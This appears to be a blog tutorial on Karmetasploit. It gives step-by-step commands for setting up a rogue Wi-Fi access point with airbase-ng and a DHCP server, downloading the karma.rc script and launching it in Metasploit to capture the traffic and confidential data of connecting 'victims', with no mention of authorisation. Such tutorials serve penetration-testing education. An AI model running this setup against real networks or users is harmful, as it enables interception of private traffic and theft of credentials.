Karmetasploit- Backtrack 5 Tutorial

Wireless communication is now become a need of networking, radio signals are unseen but they carry your information on the form of bits by using different modulation techniques. However security is very important for wireless network because it is more vulnerable. As discussed before about wireless security and rogue access point, in this article i will try to cover Karmetasploit.

Metasploit is now one of the best tool for penetration testing and the word Karmetasploit has driven from two words one is KARMA (KARMA Attacks Radioed Machines Automatically) and the other is Metasploit.  

So what is Karmetasploit? 

KARMA is a wireless client attack toolkit and the integration of Karma and metasploit is called Karmetasploit, in 2004 Dino A. Dai Zovi and Shane A. Macaulay did a presentation called “All your layer are belong to us” in that presentation they have described the insecurity of wireless access point and introduced the tool KARMA. This tool acts as wireless access point and responds to all probe requests from wireless clients. Once a client has associated with the KARMA access point, every service they try to access leads to a malicious application.
The above passage gives the basic introduction of KARMA and about Metasploit your can learn from here.
Karmetasploit Tutorial
Configuration 

If you are not using backtrack 5 than you must have to install some dependencies like Aircrack-ng 
$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install 
# airmon-ng start [wifi-interface]
For backtrack like backtrack5 follow the procedure
[email protected]:/pentest/exploits/framework3# wget http://www.offensive-security.com/downloads/karma.rc
Now here is the need to configure DHCP server so that the Fake AP connect with the network.

[email protected]:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}

[email protected]:~# gem install activerecord sqlite3-ruby

By we approx done now the time to restart the wireless interface and start listening.

[email protected]:~# airmon-ng
[email protected]:~# airmon-ng stop ath0
[email protected]:~# airmon-ng start wifi0
[email protected]:~# airbase-ng -P -C 30 -e “U R PWND” -v ath1

What this commands do? These command is used to create a new interface that is rogue interface or fake AP, now we have to assign IP address and DHCP configuration so the interface work properly.

[email protected]:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0[email protected]:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0[email protected]:~# ps aux | grep dhcpd

Karmetasploit Attack Vector 
After configuration you are ready to run karmetasploit and start an attack 
[email protected]:~# cd /pentest/exploits/framework3/
[email protected]:/pentest/exploits/framework3# msfconsole -r karma.rc 
The command will start metasploit and than Karma script start to act as a fake AP and it will give you the command like this 

msf auxiliary(http) >

When the victim will start using this AP you are free to monitor all the activities and you can record of the confidential information.

msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.google.com)

This is little advance tutorial and if you dont understand it than it means you have to understand rogue access point first.

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.
Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

Top 5 Techniques Hackers Use to hack Social Media Accounts

These days, Social Media have become a significant need in our everyday life. It encourages us to associate and connect with anyone over the...

5 Top Programming Languages for Hacking

We live in the 21st century, which is very fast-changing. This is a century of competition for information and computing resources. Every year the...

OSINT Tutorial to Track An Aircraft And Flight Information In Real-Time

No doubt Internet is said to be the world's largest repository of data and information. It contains an enormous amount of data related to...

Preventing SQL Injection in PHP Applications

SQL injection is one of the most common cybersecurity threats and as the name suggests, it is a form of injection attack. Injection attacks, on...